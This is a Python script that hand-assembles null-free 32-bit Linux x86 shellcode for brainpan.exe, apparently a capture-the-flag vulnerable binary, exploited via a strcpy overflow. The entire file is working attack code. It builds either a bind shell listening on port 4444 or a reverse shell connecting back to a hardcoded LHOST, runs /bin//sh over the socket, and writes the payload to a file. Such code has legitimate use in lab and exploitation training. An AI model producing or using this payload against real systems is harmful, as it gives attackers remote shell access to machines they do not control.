#!/usr/bin/env python3
# ---------------------------------------------------------------------------
# scgen.py - hand-assembled x86 (32-bit) Linux shellcode for brainpan.exe
#
#   usage:  python3 scgen.py bind     -> shellcode_bind.bin    (recommended)
#           python3 scgen.py reverse  -> shellcode_reverse.bin
#
# The overflow happens via strcpy(), so the shellcode must be NULL-FREE.
#
# bind mode:
#     fd  = socket(AF_INET, SOCK_STREAM, 0)
#     bind(fd, {AF_INET, htons(4444), INADDR_ANY}, 16)
#     listen(fd, 1)
#     fd2 = accept(fd, 0, 0)
#     dup2(fd2,0); dup2(fd2,1); dup2(fd2,2)
#     execve("/bin//sh", ["/bin//sh", NULL], NULL)
#
# reverse mode:
#     fd  = socket(AF_INET, SOCK_STREAM, 0)
#     connect(fd, {AF_INET, htons(4444), LHOST}, 16)
#     dup2(fd,0); dup2(fd,1); dup2(fd,2)
#     execve("/bin//sh", ["/bin//sh", NULL], NULL)
# ---------------------------------------------------------------------------
import socket
import struct
import sys

LHOST = "10.231.131.212"   # for reverse mode only
LPORT = 4444               # listen/connect port

MODE = sys.argv[1] if len(sys.argv) > 1 else "bind"
assert MODE in ("bind", "reverse")

ins = []                    # (bytes, comment)
def emit(*b, comment):
    ins.append((bytes(b), comment))

# --- socket(AF_INET, SOCK_STREAM, 0) via socketcall -------------------------
emit(0x31, 0xC0, comment="xor eax,eax")
emit(0x31, 0xDB, comment="xor ebx,ebx")
emit(0x50,        comment="push eax     ; protocol = 0")
emit(0x6A, 0x01,  comment="push 1       ; SOCK_STREAM")
emit(0x6A, 0x02,  comment="push 2       ; AF_INET")
emit(0x89, 0xE1,  comment="mov ecx,esp  ; args pointer")
emit(0xB0, 0x66,  comment="mov al,0x66  ; socketcall")
emit(0x43,        comment="inc ebx      ; SYS_SOCKET = 1")
emit(0xCD, 0x80,  comment="int 0x80")
emit(0x89, 0xC6,  comment="mov esi,eax  ; esi = sockfd")

# --- struct sockaddr_in on the stack ----------------------------------------
# ground truth verified with C on target host (port 4444):
#   mem = 02 00 11 5c 00*12        (family LE = 02 00, port BE = 11 5c)
# so the dword to push is: <port_lo(BE)><port_hi(BE)>0002
FAM = struct.pack("<H", socket.AF_INET)      # 02 00
PRT = struct.pack("!H", LPORT)               # 11 5c
B3, B2, B0 = PRT[1], PRT[0], FAM[0]
assert B3 and B2 and B0, "port produces a NULL immediate - pick another port"

if MODE == "bind":
    emit(0x31, 0xD2,  comment="xor edx,edx")
    emit(0x52,        comment="push edx     ; sin_zero[4..8)")
    emit(0x52,        comment="push edx     ; sin_zero[0..4) + sin_addr = INADDR_ANY(0)")
    emit(0x52,        comment="push edx     ; (12 zero bytes total)")
    emit(0xB6, B3,    comment="mov dh,0x%02X  ; port low  byte (network order)" % B3)
    emit(0xB2, B2,    comment="mov dl,0x%02X  ; port high byte (network order)" % B2)
    emit(0xC1, 0xE2, 0x10, comment="shl edx,16")
    emit(0xB2, B0,    comment="mov dl,0x%02X  ; sin_family = 2" % B0)
    emit(0x52,        comment="push edx     ; <02 00 11 5c> = family|port (correct order)")
else:
    emit(0x31, 0xD2,  comment="xor edx,edx")
    emit(0x52,        comment="push edx     ; sin_zero[4..8)")
    emit(0x52,        comment="push edx     ; sin_zero[0..4)")
    emit(0x68, *struct.pack("<I", int.from_bytes(socket.inet_aton(LHOST), "little")),
                      comment="push IP      ; sin_addr = %s" % LHOST)
    emit(0xB6, B3,    comment="mov dh,0x%02X  ; port low  byte (network order)" % B3)
    emit(0xB2, B2,    comment="mov dl,0x%02X  ; port high byte (network order)" % B2)
    emit(0xC1, 0xE2, 0x10, comment="shl edx,16")
    emit(0xB2, B0,    comment="mov dl,0x%02X  ; sin_family = 2" % B0)
    emit(0x52,        comment="push edx     ; <02 00 11 5c> = family|port (correct order)")

# --- bind / connect ----------------------------------------------------------
emit(0x89, 0xE1,  comment="mov ecx,esp  ; &sockaddr_in")
emit(0x6A, 0x10,  comment="push 0x10    ; addrlen = 16")
emit(0x51,        comment="push ecx")
emit(0x56,        comment="push esi     ; sockfd")
emit(0x89, 0xE1,  comment="mov ecx,esp")
if MODE == "bind":
    emit(0xB3, 0x02,  comment="mov bl,2     ; SYS_BIND = 2")
    emit(0xB0, 0x66,  comment="mov al,0x66")
    emit(0xCD, 0x80,  comment="int 0x80     ; bind()")
    # listen(fd, 1)
    emit(0x6A, 0x01,  comment="push 1       ; backlog")
    emit(0x56,        comment="push esi     ; sockfd")
    emit(0x89, 0xE1,  comment="mov ecx,esp")
    emit(0xB3, 0x04,  comment="mov bl,4     ; SYS_LISTEN = 4")
    emit(0xB0, 0x66,  comment="mov al,0x66")
    emit(0xCD, 0x80,  comment="int 0x80     ; listen()")
    # accept(fd, 0, 0)
    emit(0x31, 0xC0,  comment="xor eax,eax")
    emit(0x50,        comment="push eax     ; addrlen * = NULL")
    emit(0x50,        comment="push eax     ; addr * = NULL")
    emit(0x56,        comment="push esi     ; sockfd")
    emit(0x89, 0xE1,  comment="mov ecx,esp")
    emit(0xB3, 0x05,  comment="mov bl,5     ; SYS_ACCEPT = 5")
    emit(0xB0, 0x66,  comment="mov al,0x66")
    emit(0xCD, 0x80,  comment="int 0x80     ; accept() -> eax = client fd")
    emit(0x89, 0xC3,  comment="mov ebx,eax  ; ebx = client fd")
else:
    emit(0xB3, 0x03,  comment="mov bl,3     ; SYS_CONNECT = 3")
    emit(0xB0, 0x66,  comment="mov al,0x66")
    emit(0xCD, 0x80,  comment="int 0x80     ; connect()")
    emit(0x89, 0xC3,  comment="mov ebx,eax  ; ebx = sockfd")

# --- dup2(fd, i) for i = 0,1,2 ----------------------------------------------
emit(0x31, 0xC0,  comment="xor eax,eax  ; clear eax before syscall number")
emit(0x31, 0xC9,  comment="xor ecx,ecx")
emit(0xB0, 0x3F,  comment="dup2: mov al,0x3F")
emit(0xCD, 0x80,  comment="      int 0x80")
emit(0x41,        comment="      inc ecx")
emit(0x83, 0xF9, 0x03, comment="      cmp ecx,3")
emit(0x75, 0xF6,  comment="      jne dup2   ; rel8 = -10")

# --- execve("/bin//sh", argv, NULL) -----------------------------------------
emit(0x31, 0xD2,  comment="xor edx,edx  ; envp = NULL")
emit(0x52,        comment="push edx     ; NUL terminator of the string")
emit(0x68, 0x2F, 0x2F, 0x73, 0x68, comment='push "0x68732F2F" ; "//sh"')
emit(0x68, 0x2F, 0x62, 0x69, 0x6E, comment='push "0x6E69622F" ; "/bin"')
emit(0x89, 0xE3,  comment="mov ebx,esp  ; ebx -> \"/bin//sh\"")
emit(0x52,        comment="push edx     ; argv[1] = NULL")
emit(0x53,        comment="push ebx     ; argv[0]")
emit(0x89, 0xE1,  comment="mov ecx,esp  ; ecx -> argv")
emit(0xB0, 0x0B,  comment="mov al,0x0B  ; execve")
emit(0xCD, 0x80,  comment="int 0x80")

# --- assemble & verify -------------------------------------------------------
sc = b"".join(b for b, _ in ins)
assert b"\x00" not in sc, "shellcode contains a NULL byte - strcpy would stop early!"

out = "shellcode_%s.bin" % MODE
with open(out, "wb") as f:
    f.write(sc)
print("[+] mode: %s | size: %d bytes | null-free: OK" % (MODE, len(sc)))
print("[+] written: %s" % out)